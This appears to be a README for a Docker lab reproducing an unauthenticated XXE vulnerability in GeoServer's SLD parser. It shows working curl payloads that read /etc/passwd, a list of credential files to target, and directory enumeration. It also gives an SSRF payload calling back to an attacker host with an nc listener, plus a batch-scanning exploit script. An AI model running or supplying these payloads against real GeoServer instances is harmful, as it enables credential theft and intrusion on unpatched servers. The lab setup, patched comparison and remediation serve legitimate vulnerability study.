CVE-2025-58360: GeoServer XXE Lab

Unauthenticated XML External Entity (XXE) Injection in GeoServer OWS/WMS Services

CVSS: 9.8 CRITICAL
Affected: <= 2.25.5, 2.26.0-2.26.1
Fixed: 2.25.6+, 2.26.2+, 2.27.0+

Overview

This lab demonstrates CVE-2025-58360, a critical XXE vulnerability in GeoServer's WMS/OWS XML request handling. The vulnerability allows unauthenticated attackers to:

Read arbitrary files from the server filesystem
List directory contents via Java's file:// handler
Perform SSRF attacks against internal services
Steal credentials from GeoServer configuration files

Root Cause

GeoServer's SLDParser.parseSLD() method processes XML styling documents without proper entity resolution restrictions. While the OWS dispatcher uses AllowListEntityResolver to block XXE, the SLD parsing code path bypasses this protection:

POST /geoserver/ows?service=WMS&request=GetMap
     |
     v
+-----------------------------+
|   OWS Dispatcher            | <-- EntityResolver configured
|   (Detects SLD in body)     |
+-----------------------------+
     |
     v
+-----------------------------+
|   SLDXmlRequestReader       |
|   -> SLDHandler.parse()     |
|   -> SLDParser.parseSLD()   | <-- NO EntityResolver!
+-----------------------------+
     |
     v
   XXE RESOLVED -> File/SSRF

Quick Start

# Start both vulnerable and patched instances
docker-compose up -d

# Vulnerable: http://localhost:8080/geoserver
# Patched:    http://localhost:8081/geoserver

# Wait ~60 seconds for startup

Default Credentials: admin / geoserver

Exploitation

File Read

curl -s -X POST \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <n>&xxe;</n>
  </NamedLayer>
</StyledLayerDescriptor>' \
  "http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"

Vulnerable Response:

<ServiceException>
  Unknown layer: root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...
</ServiceException>

Patched Response:

<ServiceException>
  Entity resolution disallowed for file:///etc/passwd
</ServiceException>

High-Value Targets

file:///opt/geoserver_data/security/usergroup/default/users.xml
file:///opt/geoserver_data/global.xml

Directory Listing

Java's file:// handler reads directories as newline-separated file lists:

# List root directory
python3 exploit.py -u http://localhost:8080 --file /

# Enumerate geoserver data
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/security/

Output:

__cacert_entrypoint.sh
.dockerenv
bin
boot
dev
etc
home
...

This allows full filesystem enumeration before targeting specific files.

SSRF

# Start listener
nc -lvnp 9999

# Send payload
curl -s -X POST \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "http://YOUR_IP:9999/callback">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <n>&xxe;</n>
  </NamedLayer>
</StyledLayerDescriptor>' \
  "http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"

Using the Exploit Script

# Version check
python3 exploit.py -u http://localhost:8080

# Safe probe (no data exfil)
python3 exploit.py -u http://localhost:8080 --probe

# File read
python3 exploit.py -u http://localhost:8080 --file /etc/passwd

# SSRF
python3 exploit.py -u http://localhost:8080 --ssrf http://attacker:9999/callback

# Verbose mode
python3 exploit.py -u http://localhost:8080 --file /etc/passwd -v

# Batch scan
python3 exploit.py --list targets.txt --output vulnerable.txt

Lab Contents

geoserver-xxe-lab/
├── README.md
├── docker-compose.yml
└── exploit.py

Remediation

Upgrade to GeoServer 2.25.6+, 2.26.2+, or 2.27.0+

Disclaimer

For authorized security testing and educational purposes only.

El Perro Joke

CVE-2025-58360-GeoServer-XXE

Most Popular